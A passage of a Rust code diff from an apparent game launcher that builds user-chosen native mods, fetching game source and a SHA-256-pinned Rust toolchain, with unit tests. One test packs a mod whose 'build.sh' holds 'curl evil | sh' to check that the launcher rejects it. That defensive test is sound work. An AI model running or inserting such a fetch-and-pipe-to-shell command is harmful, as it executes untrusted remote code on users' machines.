/// is gone: its `nightly-source/…` tag keeps it (docs/release-flow.md). Links are left out:
|
||||
/// horizon-mixins refuses them, and none is needed to build.
|
||||
fn source(revision: &str) -> Result<PathBuf, String> {
|
||||
let dir = root().join("source").join(revision);
|
||||
if dir.join(".horizon-revision").is_file() {
|
||||
return Ok(dir);
|
||||
}
|
||||
let archive = format!(
|
||||
"https://codeload.github.com/{}/tar.gz/{revision}",
|
||||
backend::REPO
|
||||
);
|
||||
let partial = root().join("source").join(format!(".{revision}.partial"));
|
||||
let _ = fs::remove_dir_all(&partial);
|
||||
fs::create_dir_all(&partial).map_err(|e| e.to_string())?;
|
||||
let reader = flate2::read::GzDecoder::new(backend::get(&archive)?.into_reader());
|
||||
let mut tar = tar::Archive::new(reader);
|
||||
for entry in tar.entries().map_err(|e| e.to_string())? {
|
||||
let mut entry = entry.map_err(|e| format!("Download interrupted: {e}"))?;
|
||||
let kind = entry.header().entry_type();
|
||||
if !(kind.is_file() || kind.is_dir()) {
|
||||
continue;
|
||||
}
|
||||
entry
|
||||
.unpack_in(&partial)
|
||||
.map_err(|e| format!("Could not unpack the source: {e}"))?;
|
||||
}
|
||||
// The archive's one top folder (horizon-<commit>/) is the source's root.
|
||||
let top = fs::read_dir(&partial)
|
||||
.map_err(|e| e.to_string())?
|
||||
.flatten()
|
||||
.map(|e| e.path())
|
||||
.find(|p| p.is_dir())
|
||||
.ok_or("The source archive is empty.")?;
|
||||
fs::write(top.join(".horizon-revision"), revision).map_err(|e| e.to_string())?;
|
||||
let _ = fs::remove_dir_all(&dir);
|
||||
fs::rename(&top, &dir).map_err(|e| e.to_string())?;
|
||||
let _ = fs::remove_dir_all(&partial);
|
||||
Ok(dir)
|
||||
}
|
||||
|
||||
/// Makes `to` hold `from`'s files, writing only those that changed, so Cargo, which goes by file
|
||||
/// times, recompiles only what the mods changed.
|
||||
fn sync(from: &Path, to: &Path) -> Result<(), String> {
|
||||
let new = files(from)?;
|
||||
let old = if to.is_dir() { files(to)? } else { Vec::new() };
|
||||
for (name, path) in &new {
|
||||
let target = to.join(name);
|
||||
if fs::read(&target).ok() != fs::read(path).ok() {
|
||||
fs::create_dir_all(target.parent().unwrap_or(to)).map_err(|e| e.to_string())?;
|
||||
fs::copy(path, &target).map_err(|e| format!("{}: {e}", target.display()))?;
|
||||
}
|
||||
}
|
||||
for (name, path) in old {
|
||||
if new.binary_search_by(|(n, _)| n.cmp(&name)).is_err() {
|
||||
let _ = fs::remove_file(path);
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Builds `folder`'s mods on the Horizon revision they pin (else `base`'s, the installed version
|
||||
/// whose game files the build reuses) and points `instance` at the build: the instance the mods
|
||||
/// were installed in, else (None, or the game's own home) the Native mods instance. Returns the
|
||||
/// build's version; a build already made is used again.
|
||||
pub fn build(
|
||||
base: &str,
|
||||
folder: &Path,
|
||||
instance: Option<&Instance>,
|
||||
progress: impl Fn(Step),
|
||||
) -> Result<String, String> {
|
||||
backend::need_prepared(base)?;
|
||||
fs::create_dir_all(root()).map_err(|e| e.to_string())?;
|
||||
let _ = fs::write(log_path(), "");
|
||||
// The mods are copied first: the build and its key use the copy, whatever happens to the
|
||||
// folder meanwhile.
|
||||
let incoming = root().join("mods.incoming");
|
||||
let _ = fs::remove_dir_all(&incoming);
|
||||
let found = bundles(folder)?;
|
||||
for b in &found {
|
||||
backend::copy_dir(&b.dir, &incoming.join(&b.id)).map_err(|e| e.to_string())?;
|
||||
}
|
||||
let mods: Vec<Bundle> = found
|
||||
.into_iter()
|
||||
.map(|b| Bundle {
|
||||
dir: incoming.join(&b.id),
|
||||
..b
|
||||
})
|
||||
.collect();
|
||||
let revision = agreed(
|
||||
&mods,
|
||||
"Horizon",
|
||||
|b| b.horizon.as_ref(),
|
||||
|| revision_of(base),
|
||||
)?;
|
||||
let mixins = agreed(
|
||||
&mods,
|
||||
"horizon-mixins",
|
||||
|b| b.mixins.as_ref(),
|
||||
|| Ok(MIXINS_REV.into()),
|
||||
)?;
|
||||
let version = version_for(&revision, &mixins, &mods)?;
|
||||
if !backend::installed().contains(&version) {
|
||||
rust_toolchain::linker()?;
|
||||
let rust = rust_toolchain::install(|f| progress(Step::Rust(f)))?;
|
||||
progress(Step::Tool);
|
||||
let tool = tool(&rust, &mixins)?;
|
||||
progress(Step::Source(revision.clone()));
|
||||
let source = source(&revision)?;
|
||||
progress(Step::Mixins);
|
||||
// horizon-mixins refuses an output path through a link (macOS's /tmp is one).
|
||||
let real = root().canonicalize().map_err(|e| e.to_string())?;
|
||||
let fresh = real.join("stage.new");
|
||||
let _ = fs::remove_dir_all(&fresh);
|
||||
let mut apply = Command::new(&tool);
|
||||
apply.arg("apply").arg("--workspace").arg(&source);
|
||||
apply.arg("--mods").arg(&incoming).arg("--out").arg(&fresh);
|
||||
run(apply, "horizon-mixins", |_| {})?;
|
||||
let stage = root().join("stage");
|
||||
sync(&fresh, &stage)?;
|
||||
let _ = fs::remove_dir_all(&fresh);
|
||||
let target = root().join("target");
|
||||
let mut compile = rust.command(&rust.cargo());
|
||||
compile.current_dir(&stage).env("CARGO_TARGET_DIR", &target);
|
||||
compile.args([
|
||||
"build",
|
||||
"--locked",
|
||||
"--profile",
|
||||
PROFILE,
|
||||
"--features",
|
||||
FEATURES,
|
||||
]);
|
||||
compile.args(["-p", "horizon-client", "--bin", "horizon-client"]);
|
||||
let mut crates = 0;
|
||||
run(compile, "Compiling the game", |line| {
|
||||
if let Some(name) = line.trim_start().strip_prefix("Compiling ") {
|
||||
crates += 1;
|
||||
let name = name.split_whitespace().next().unwrap_or(name);
|
||||
progress(Step::Compile(crates, name.to_owned()));
|
||||
}
|
||||
})?;
|
||||
progress(Step::Install);
|
||||
let about = serde_json::json!({
|
||||
"base": base,
|
||||
"horizon": revision,
|
||||
"horizon_mixins": mixins,
|
||||
"rust": rust_toolchain::VERSION,
|
||||
"mods": mods.iter().map(|m| serde_json::json!({"id": m.id, "version": m.version})).collect::<Vec<_>>(),
|
||||
});
|
||||
let binary = target.join(PROFILE).join(backend::CLIENT);
|
||||
install(base, &version, &binary, &about)?;
|
||||
}
|
||||
match instance.filter(|i| i.kind != instances::Kind::Default) {
|
||||
Some(own) => instances::edit(&own.id, |meta| meta.version = Some(version.clone()))?,
|
||||
None => instance_on(&version)?,
|
||||
};
|
||||
prune(&version);
|
||||
let _ = fs::remove_dir_all(&incoming);
|
||||
Ok(version)
|
||||
}
|
||||
|
||||
/// Installs `binary` as version `version`: a copy of installed version `base`'s folder (its
|
||||
/// resources included; cloned where the disk can) with the built game in place of `base`'s.
|
||||
fn install(
|
||||
base: &str,
|
||||
version: &str,
|
||||
binary: &Path,
|
||||
about: &serde_json::Value,
|
||||
) -> Result<(), String> {
|
||||
let from = backend::version_dir(base);
|
||||
let partial = backend::version_dir(&format!(".{version}.partial"));
|
||||
let _ = fs::remove_dir_all(&partial);
|
||||
fs::create_dir_all(&partial).map_err(|e| e.to_string())?;
|
||||
for entry in fs::read_dir(&from).map_err(|e| e.to_string())?.flatten() {
|
||||
let name = entry.file_name();
|
||||
if [
|
||||
backend::CLIENT,
|
||||
".installed",
|
||||
"Horizon.app",
|
||||
"native-mods.json",
|
||||
]
|
||||
.iter()
|
||||
.any(|n| name == *n)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
let to = partial.join(&name);
|
||||
let copied = if entry.path().is_dir() {
|
||||
backend::copy_dir(&entry.path(), &to)
|
||||
} else {
|
||||
horizon_prepare::clone_or_copy(&entry.path(), &to)
|
||||
};
|
||||
copied.map_err(|e| format!("Could not copy {}: {e}", entry.path().display()))?;
|
||||
}
|
||||
let client = partial.join(backend::CLIENT);
|
||||
fs::copy(binary, &client).map_err(|e| format!("The built game: {e}"))?;
|
||||
fs::write(partial.join("native-mods.json"), about.to_string()).map_err(|e| e.to_string())?;
|
||||
let dir = backend::version_dir(version);
|
||||
let _ = fs::remove_dir_all(&dir);
|
||||
fs::rename(&partial, &dir).map_err(|e| e.to_string())?;
|
||||
fs::write(dir.join(".installed"), "").map_err(|e| e.to_string())
|
||||
}
|
||||
|
||||
/// The Native mods instance, made empty the first time, playing `version`.
|
||||
fn instance_on(version: &str) -> Result<Instance, String> {
|
||||
if instances::find(INSTANCE).is_err() {
|
||||
instances::create(NAME, None)?;
|
||||
}
|
||||
instances::edit(INSTANCE, |meta| meta.version = Some(version.to_owned()))
|
||||
}
|
||||
|
||||
/// Removes the native builds other than `keep` that no instance plays. The compiled crates
|
||||
/// (`native/target`) stay, so the next build only compiles what changed.
|
||||
pub fn prune(keep: &str) {
|
||||
let played: Vec<String> = instances::list()
|
||||
.into_iter()
|
||||
.filter_map(|i| i.version)
|
||||
.collect();
|
||||
for old in backend::installed() {
|
||||
if is_native(&old) && old != keep && !played.contains(&old) {
|
||||
let _ = backend::remove(&old);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
|
||||
fn dir(name: &str) -> PathBuf {
|
||||
let d = std::env::temp_dir().join(format!("horizon-native-{name}-{}", std::process::id()));
|
||||
let _ = fs::remove_dir_all(&d);
|
||||
fs::create_dir_all(&d).unwrap();
|
||||
d
|
||||
}
|
||||
|
||||
fn write_bundle(at: &Path, id: &str, helper: &str) {
|
||||
fs::create_dir_all(at).unwrap();
|
||||
let manifest = format!("[mod]\nid = \"{id}\"\nversion = \"0.1.0\"\n");
|
||||
fs::write(at.join(MANIFEST), manifest).unwrap();
|
||||
fs::write(at.join("hook.rs"), helper).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_folder_is_one_bundle_or_a_folder_of_them() {
|
||||
let one = dir("one");
|
||||
write_bundle(&one, "hello", "fn hook() {}");
|
||||
let found = bundles(&one).unwrap();
|
||||
assert_eq!(
|
||||
(found[0].id.as_str(), found[0].version.as_str()),
|
||||
("hello", "0.1.0")
|
||||
);
|
||||
let many = dir("many");
|
||||
write_bundle(&many.join("b"), "beta", "fn hook() {}");
|
||||
write_bundle(&many.join("a"), "alpha", "fn hook() {}");
|
||||
fs::create_dir_all(many.join("notes")).unwrap();
|
||||
let ids: Vec<String> = bundles(&many).unwrap().into_iter().map(|b| b.id).collect();
|
||||
assert_eq!(ids, ["alpha", "beta"]);
|
||||
assert!(bundles(&many.join("notes")).is_err());
|
||||
}
|
||||
|
||||
const A: &str = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
|
||||
const B: &str = "bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";
|
||||
|
||||
/// An unpacked `.hnmod`, as the registry ships one (horizon_mods::index::native).
|
||||
fn write_native(at: &Path, id: &str, horizon: &str, mixins: &str) {
|
||||
let manifest = serde_json::json!({"schema": 1, "id": id, "version": "0.3.0", "game": "26.3",
|
||||
"horizon": horizon, "mixins": mixins});
|
||||
fs::create_dir_all(at.join("mixins").join(id)).unwrap();
|
||||
fs::write(at.join(NATIVE_MANIFEST), manifest.to_string()).unwrap();
|
||||
let toml = format!("[mod]\nid = \"{id}\"\nversion = \"0.3.0\"\n[compatibility]\nhorizon_revision = \"{horizon}\"\n");
|
||||
fs::write(at.join("mixins").join(id).join(MANIFEST), toml).unwrap();
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_registry_download_is_a_bundle_with_its_pins() {
|
||||
let d = dir("hnmod");
|
||||
write_native(&d.join("veinminer"), "veinminer", A, B);
|
||||
write_bundle(&d.join("local"), "hello", "fn hook() {}");
|
||||
let found = bundles(&d).unwrap();
|
||||
assert_eq!(found.len(), 2);
|
||||
assert_eq!(found[1].id, "veinminer");
|
||||
assert_eq!(found[1].dir, d.join("veinminer/mixins/veinminer"));
|
||||
assert_eq!(found[1].horizon.as_deref(), Some(A));
|
||||
assert_eq!(found[1].mixins.as_deref(), Some(B));
|
||||
assert_eq!(
|
||||
(found[0].horizon.as_ref(), found[0].mixins.as_ref()),
|
||||
(None, None)
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn installed_mods_are_the_checked_files_of_those_turned_on() {
|
||||
let d = dir("installed-src");
|
||||
write_native(&d, "veinminer", A, B);
|
||||
let home = dir("installed-home");
|
||||
fs::create_dir_all(home.join(INSTALLED)).unwrap();
|
||||
let pack = |name: &str, extra: Option<(&str, &str)>| {
|
||||
let mut zip =
|
||||
zip::ZipWriter::new(fs::File::create(home.join(INSTALLED).join(name)).unwrap());
|
||||
let options = zip::write::SimpleFileOptions::default();
|
||||
for file in [NATIVE_MANIFEST, "mixins/veinminer/horizon-mixin.toml"] {
|
||||
zip.start_file(file, options).unwrap();
|
||||
zip.write_all(&fs::read(d.join(file)).unwrap()).unwrap();
|
||||
}
|
||||
if let Some((file, body)) = extra {
|
||||
zip.start_file(file, options).unwrap();
|
||||
zip.write_all(body.as_bytes()).unwrap();
|
||||
}
|
||||
zip.finish().unwrap();
|
||||
};
|
||||
pack("veinminer.hnmod", None);
|
||||
assert!(installed_mods(&home).is_err(), "off until turned on");
|
||||
crate::browser::java::set_enabled(&home, "veinminer", true).unwrap();
|
||||
let out = installed_mods(&home).unwrap();
|
||||
let found = bundles(&out).unwrap();
|
||||
assert_eq!(
|
||||
(found[0].id.as_str(), found[0].horizon.as_deref()),
|
||||
("veinminer", Some(A))
|
||||
);
|
||||
pack("veinminer.hnmod", Some(("build.sh", "curl evil | sh")));
|
||||
assert!(installed_mods(&home).is_err(), "only Rust and TOML sources");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_mods_of_one_build_pin_one_revision() {
|
||||
let pinned = |id: &str, horizon: Option<&str>| Bundle {
|
||||
id: id.into(),
|
||||
version: "1".into(),
|
||||
dir: PathBuf::new(),
|
||||
horizon: horizon.map(str::to_owned),
|
||||
mixins: None,
|
||||
};
|
||||
let never = || -> Result<String, String> { panic!("a pin wins") };
|
||||
fn get(b: &Bundle) -> Option<&String> {
|
||||
b.horizon.as_ref()
|
||||
}
|
||||
let same = [
|
||||
pinned("a", Some(A)),
|
||||
pinned("b", None),
|
||||
pinned("c", Some(A)),
|
||||
];
|
||||
assert_eq!(agreed(&same, "Horizon", get, never).unwrap(), A);
|
||||
let none = [pinned("a", None)];
|
||||
assert_eq!(agreed(&none, "Horizon", get, || Ok(B.into())).unwrap(), B);
|
||||
let split = [pinned("veinminer", Some(A)), pinned("minimap", Some(B))];
|
||||
let err = agreed(&split, "Horizon", get, never).unwrap_err();
|
||||
assert!(
|
||||
err.contains("veinminer → aaaaaaa") && err.contains("minimap → bbbbbbb"),
|
||||
"{err}"
|
||||
);
|
||||
let bad = [pinned("a", Some("nightly"))];
|
||||
assert!(agreed(&bad, "Horizon", get, never).is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_version_changes_with_the_revision_and_any_file_of_the_mods() {
|
||||
let d = dir("key");
|
||||
write_bundle(&d, "hello", "fn hook() {}");
|
||||
let key =
|
||||
|revision: &str| version_for(revision, MIXINS_REV, &bundles(&d).unwrap()).unwrap();
|
||||
let first = key(A);
|
||||
assert!(
|
||||
first.starts_with("native-aaaaaaa-") && first.len() == "native-aaaaaaa-".len() + 12
|
||||
);
|
||||
assert!(is_native(&first) && !backend::is_game_tag(&first));
|
||||
assert_eq!(first, key(A));
|
||||
assert_ne!(first, key(B));
|
||||
assert_ne!(first, version_for(A, B, &bundles(&d).unwrap()).unwrap());
|
||||
fs::write(d.join("hook.rs"), "fn hook() { let _ = 1; }").unwrap();
|
||||
assert_ne!(first, key(A));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn only_changed_files_are_written_again() {
|
||||
let (from, to) = (dir("sync-from"), dir("sync-to"));
|
||||
fs::create_dir_all(from.join("src")).unwrap();
|
||||
fs::write(from.join("src/a.rs"), "a").unwrap();
|
||||
fs::write(from.join("src/b.rs"), "b2").unwrap();
|
||||
fs::create_dir_all(to.join("src")).unwrap();
|
||||
fs::write(to.join("src/a.rs"), "a").unwrap();
|
||||
fs::write(to.join("src/b.rs"), "b").unwrap();
|
||||
fs::write(to.join("gone.rs"), "x").unwrap();
|
||||
let before = fs::metadata(to.join("src/a.rs"))
|
||||
.unwrap()
|
||||
.modified()
|
||||
.unwrap();
|
||||
std::thread::sleep(std::time::Duration::from_millis(20));
|
||||
sync(&from, &to).unwrap();
|
||||
assert_eq!(
|
||||
fs::metadata(to.join("src/a.rs"))
|
||||
.unwrap()
|
||||
.modified()
|
||||
.unwrap(),
|
||||
before
|
||||
);
|
||||
assert_eq!(fs::read_to_string(to.join("src/b.rs")).unwrap(), "b2");
|
||||
assert!(!to.join("gone.rs").exists());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tool_errors_read_in_one_line() {
|
||||
let err = "{\n \"code\": \"E_REVISION\",\n \"message\": \"requires exact Horizon revision a\",\n \"file\": \"m.toml\"\n}";
|
||||
assert_eq!(
|
||||
diagnostic(err).as_deref(),
|
||||
Some("E_REVISION: requires exact Horizon revision a (m.toml)")
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,407 @@
|
||||
//! A portable Rust toolchain of the launcher's own, for native mods (docs/native-mods.md), which
|
||||
//! compile the game. levzzz5154 (2026-10-27): players combine many native mods per build, so they
|
||||
//! build on their own computer, and the launcher brings the compiler.
|
||||
//!
|
||||
//! It downloads only the official components a build needs (`rustc`, `cargo`, `rust-std`, and on
|
||||
//! Windows `rust-mingw`, the linker of the `windows-gnu` host, which needs no Visual Studio) from
|
||||
//! static.rust-lang.org, each pinned by its SHA-256 below, and unpacks them into the launcher's data
|
||||
//! folder. No rustup, nothing installed on the system or added to the PATH: the launcher calls this
|
||||
//! cargo with its own `CARGO_HOME`. The pins come from the channel manifest of [`VERSION`]
|
||||
//! (`https://static.rust-lang.org/dist/channel-rust-<VERSION>.toml`, `[pkg.<name>.target.<host>]`).
|
||||
use crate::backend;
|
||||
use std::fs;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::process::Command;
|
||||
|
||||
/// The Rust release native mods build with: the stable release when it was pinned (CI builds the
|
||||
/// game on stable; horizon-mixins needs 1.95 or newer).
|
||||
pub const VERSION: &str = "1.99.1";
|
||||
const DIST: &str = "https://static.rust-lang.org/dist/2026-10-15";
|
||||
|
||||
/// One platform's components: (name, SHA-256 of `<name>-<VERSION>-<target>.tar.gz`).
|
||||
pub struct Host {
|
||||
pub target: &'static str,
|
||||
components: &'static [(&'static str, &'static str)],
|
||||
}
|
||||
|
||||
const HOSTS: &[Host] = &[
|
||||
Host {
|
||||
target: "aarch64-apple-darwin",
|
||||
components: &[
|
||||
(
|
||||
"rustc",
|
||||
"cc998c1dc8df006106472357aa87838b2da3f7b25446b98a94cfd58796cb0610",
|
||||
),
|
||||
(
|
||||
"cargo",
|
||||
"b5cc7634f919949c3e5e131123f813416dc47f6b809a5371d12f1f593595ae13",
|
||||
),
|
||||
(
|
||||
"rust-std",
|
||||
"c124006d63885ba1029aca49efd59e93be6b2b171c379318ff94a00ef5eba664",
|
||||
),
|
||||
],
|
||||
},
|
||||
Host {
|
||||
target: "x86_64-unknown-linux-gnu",
|
||||
components: &[
|
||||
(
|
||||
"rustc",
|
||||
"85e7c0e6f21636f714e2a42966011364a6cc56b6548126d32144d6ba90904966",
|
||||
),
|
||||
(
|
||||
"cargo",
|
||||
"47babc028247e26577f8a1bf390b11f447ad9b7ab93f5c9a0dda078935fc149b",
|
||||
),
|
||||
(
|
||||
"rust-std",
|
||||
"d1290c05994a59c029e562cb75be1bddc6fb11a4c501e1b7b0f61d119c6cbb12",
|
||||
),
|
||||
],
|
||||
},
|
||||
Host {
|
||||
target: "x86_64-pc-windows-gnu",
|
||||
components: &[
|
||||
(
|
||||
"rustc",
|
||||
"43b17e9a9134ea72562bfbb23728a830f671ea9be1db6a72597a8d240e986b35",
|
||||
),
|
||||
(
|
||||
"cargo",
|
||||
"57e54617be4420dbb967ca8293f5ace7168104ac12efa9dc7c5c3bda112f8b36",
|
||||
),
|
||||
(
|
||||
"rust-std",
|
||||
"6546651238a3ac092b763511be524ca6eda6103e5d47342416923be1b3ce837c",
|
||||
),
|
||||
(
|
||||
"rust-mingw",
|
||||
"30263d7bb4fd0bf63a153afe36d7fc102f929a7d42781651c6b3a03a414ba428",
|
||||
),
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
/// This computer's host, if the launcher ships a toolchain for it (the platforms it is released
|
||||
/// for: macOS on Apple silicon, Linux x86-64, Windows x64).
|
||||
pub fn host() -> Option<&'static Host> {
|
||||
let target = match (std::env::consts::OS, std::env::consts::ARCH) {
|
||||
("macos", "aarch64") => "aarch64-apple-darwin",
|
||||
("linux", "x86_64") => "x86_64-unknown-linux-gnu",
|
||||
("windows", "x86_64") => "x86_64-pc-windows-gnu",
|
||||
_ => return None,
|
||||
};
|
||||
HOSTS.iter().find(|h| h.target == target)
|
||||
}
|
||||
|
||||
fn exe(name: &str) -> String {
|
||||
format!("{name}{}", std::env::consts::EXE_SUFFIX)
|
||||
}
|
||||
|
||||
/// An unpacked toolchain.
|
||||
#[derive(Clone, Debug, PartialEq)]
|
||||
pub struct Toolchain {
|
||||
pub dir: PathBuf,
|
||||
}
|
||||
|
||||
impl Toolchain {
|
||||
pub fn cargo(&self) -> PathBuf {
|
||||
self.dir.join("bin").join(exe("cargo"))
|
||||
}
|
||||
|
||||
/// `program` (this toolchain's cargo, or a tool built with it) set up to use only this
|
||||
/// toolchain: its rustc, the launcher's Cargo home, and none of the player's rustup or
|
||||
/// compiler-wrapper settings.
|
||||
pub fn command(&self, program: &Path) -> Command {
|
||||
let mut cmd = Command::new(program);
|
||||
let path = std::env::var_os("PATH").unwrap_or_default();
|
||||
let paths = std::iter::once(self.dir.join("bin")).chain(std::env::split_paths(&path));
|
||||
cmd.env("PATH", std::env::join_paths(paths).unwrap_or(path))
|
||||
.env("RUSTC", self.dir.join("bin").join(exe("rustc")))
|
||||
.env("CARGO_HOME", cargo_home());
|
||||
for name in [
|
||||
"RUSTUP_TOOLCHAIN",
|
||||
"RUSTC_WRAPPER",
|
||||
"RUSTC_WORKSPACE_WRAPPER",
|
||||
"CARGO_BUILD_RUSTC_WRAPPER",
|
||||
"CARGO_TARGET_DIR",
|
||||
] {
|
||||
cmd.env_remove(name);
|
||||
}
|
||||
cmd
|
||||
}
|
||||
|
||||
/// `rustc --version`, once the toolchain answers.
|
||||
pub fn version(&self) -> Result<String, String> {
|
||||
let out = self
|
||||
.command(&self.dir.join("bin").join(exe("rustc")))
|
||||
.arg("--version")
|
||||
.output()
|
||||
.map_err(|e| format!("Rust {VERSION} doesn't start: {e}"))?;
|
||||
if !out.status.success() {
|
||||
return Err(format!(
|
||||
"Rust {VERSION} doesn't start: {}",
|
||||
String::from_utf8_lossy(&out.stderr).trim()
|
||||
));
|
||||
}
|
||||
Ok(String::from_utf8_lossy(&out.stdout).trim().to_owned())
|
||||
}
|
||||
}
|
||||
|
||||
/// Where toolchains live: `<launcher data>/rust/`.
|
||||
pub fn root() -> PathBuf {
|
||||
backend::data_dir().join("rust")
|
||||
}
|
||||
|
||||
/// The Cargo home of native builds (downloaded crates, horizon-mixins), never the player's own.
|
||||
pub fn cargo_home() -> PathBuf {
|
||||
backend::data_dir().join("cargo")
|
||||
}
|
||||
|
||||
fn dir_for(host: &Host) -> PathBuf {
|
||||
root().join(format!("{VERSION}-{}", host.target))
|
||||
}
|
||||
|
||||
const COMPLETE: &str = ".installed";
|
||||
|
||||
/// The toolchain, when it is installed.
|
||||
pub fn installed() -> Option<Toolchain> {
|
||||
let dir = dir_for(host()?);
|
||||
dir.join(COMPLETE).is_file().then_some(Toolchain { dir })
|
||||
}
|
||||
|
||||
/// Downloads, checks and unpacks the pinned toolchain (once); `progress` gets the fraction done.
|
||||
pub fn install(progress: impl Fn(f32)) -> Result<Toolchain, String> {
|
||||
if let Some(done) = installed() {
|
||||
return Ok(done);
|
||||
}
|
||||
let host = host().ok_or_else(|| {
|
||||
format!(
|
||||
"Native mods need Rust, and the launcher has none for {} {}.",
|
||||
std::env::consts::OS,
|
||||
std::env::consts::ARCH
|
||||
)
|
||||
})?;
|
||||
let dir = dir_for(host);
|
||||
let partial = root().join(format!(".{VERSION}-{}.partial", host.target));
|
||||
let _ = fs::remove_dir_all(&partial);
|
||||
fs::create_dir_all(&partial).map_err(|e| e.to_string())?;
|
||||
let count = host.components.len() as f32;
|
||||
for (i, (name, sha256)) in host.components.iter().enumerate() {
|
||||
let file = format!("{name}-{VERSION}-{}.tar.gz", host.target);
|
||||
let archive = root().join(format!(".{file}"));
|
||||
let step = |f: f32| progress((i as f32 + f) / count);
|
||||
backend::download(&format!("{DIST}/{file}"), 0, sha256, &archive, &step)
|
||||
.map_err(|e| format!("Rust {VERSION} ({name}): {e}"))?;
|
||||
let unpacked = unpack(&archive, &partial);
|
||||
let _ = fs::remove_file(&archive);
|
||||
unpacked.map_err(|e| format!("Rust {VERSION} ({name}): {e}"))?;
|
||||
}
|
||||
fs::write(partial.join(COMPLETE), VERSION).map_err(|e| e.to_string())?;
|
||||
let _ = fs::remove_dir_all(&dir);
|
||||
fs::rename(&partial, &dir).map_err(|e| e.to_string())?;
|
||||
progress(1.0);
|
||||
Ok(Toolchain { dir })
|
||||
}
|
||||
|
||||
/// Unpacks one component archive into `prefix`, as its installer would: an archive holds
|
||||
/// `<top>/<component>/<files>` per component, and each component's files go under `prefix`. Its
|
||||
/// installer script, lists and `manifest.in` stay out.
|
||||
fn unpack(archive: &Path, prefix: &Path) -> Result<(), String> {
|
||||
let file = fs::File::open(archive).map_err(|e| e.to_string())?;
|
||||
let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(file));
|
||||
for entry in tar.entries().map_err(|e| e.to_string())? {
|
||||
let mut entry = entry.map_err(|e| e.to_string())?;
|
||||
let path = entry.path().map_err(|e| e.to_string())?.into_owned();
|
||||
let Some(relative) = component_path(&path) else {
|
||||
continue;
|
||||
};
|
||||
let to = prefix.join(&relative);
|
||||
if let Some(parent) = to.parent() {
|
||||
fs::create_dir_all(parent).map_err(|e| e.to_string())?;
|
||||
}
|
||||
entry
|
||||
.unpack(&to)
|
||||
.map_err(|e| format!("{}: {e}", relative.display()))?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Where a file of a component archive goes, relative to the prefix: `rustc-1.99.1-x/rustc/bin/rustc`
|
||||
/// → `bin/rustc`. None for the archive's own files and anything that would leave the prefix.
|
||||
fn component_path(path: &Path) -> Option<PathBuf> {
|
||||
use std::path::Component;
|
||||
let parts: Vec<&std::ffi::OsStr> = path
|
||||
.components()
|
||||
.map(|c| match c {
|
||||
Component::Normal(name) => Some(name),
|
||||
_ => None,
|
||||
})
|
||||
.collect::<Option<_>>()?;
|
||||
match parts.as_slice() {
|
||||
[_, _, rest @ ..] if !rest.is_empty() && rest != ["manifest.in"] => {
|
||||
Some(rest.iter().collect())
|
||||
}
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Whether this computer can link what the toolchain compiles: Rust brings its compiler, but uses
|
||||
/// the system's linker on macOS (the Command Line Tools) and Linux (`cc`). Windows' `windows-gnu`
|
||||
/// toolchain brings its own.
|
||||
pub fn linker() -> Result<(), String> {
|
||||
let ok = |program: &str, args: &[&str]| {
|
||||
Command::new(program)
|
||||
.args(args)
|
||||
.output()
|
||||
.is_ok_and(|o| o.status.success())
|
||||
};
|
||||
match std::env::consts::OS {
|
||||
// `xcode-select -p` only says where they are; running `cc` without them would open
|
||||
// Apple's install dialog by surprise.
|
||||
"macos" if !ok("xcode-select", &["-p"]) => Err(
|
||||
"Native mods need Apple's Command Line Tools to link the game. Run `xcode-select --install` in Terminal, then build again."
|
||||
.into(),
|
||||
),
|
||||
"linux" if !ok("cc", &["--version"]) => Err(
|
||||
"Native mods need a C compiler (`cc`) to link the game. Install gcc or clang with your distribution's package manager, then build again."
|
||||
.into(),
|
||||
),
|
||||
_ => Ok(()),
|
||||
}
|
||||
}
|
||||
|
||||
/// Removes every toolchain and the native builds' Cargo home.
|
||||
pub fn remove() -> Result<(), String> {
|
||||
for dir in [root(), cargo_home()] {
|
||||
if dir.exists() {
|
||||
fs::remove_dir_all(&dir).map_err(|e| format!("{}: {e}", dir.display()))?;
|
||||
}
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
use std::io::Write;
|
||||
|
||||
#[test]
|
||||
fn every_host_pins_each_component_once_with_a_sha256() {
|
||||
for host in HOSTS {
|
||||
let names: Vec<&str> = host.components.iter().map(|c| c.0).collect();
|
||||
assert_eq!(
|
||||
&names[..3],
|
||||
["rustc", "cargo", "rust-std"],
|
||||
"{}",
|
||||
host.target
|
||||
);
|
||||
for (name, sha) in host.components {
|
||||
assert!(
|
||||
sha.len() == 64 && sha.bytes().all(|b| b.is_ascii_hexdigit()),
|
||||
"{name} {}",
|
||||
host.target
|
||||
);
|
||||
}
|
||||
}
|
||||
let windows = HOSTS.iter().find(|h| h.target.contains("windows")).unwrap();
|
||||
assert!(windows.target.ends_with("-gnu"), "no Visual Studio needed");
|
||||
assert!(windows.components.iter().any(|c| c.0 == "rust-mingw"));
|
||||
if cfg!(all(target_os = "macos", target_arch = "aarch64")) {
|
||||
assert_eq!(host().unwrap().target, "aarch64-apple-darwin");
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn component_files_land_under_the_prefix_and_nothing_else_does() {
|
||||
let at = |p: &str| component_path(Path::new(p));
|
||||
assert_eq!(
|
||||
at("rustc-1.99.1-x/rustc/bin/rustc"),
|
||||
Some(PathBuf::from("bin/rustc"))
|
||||
);
|
||||
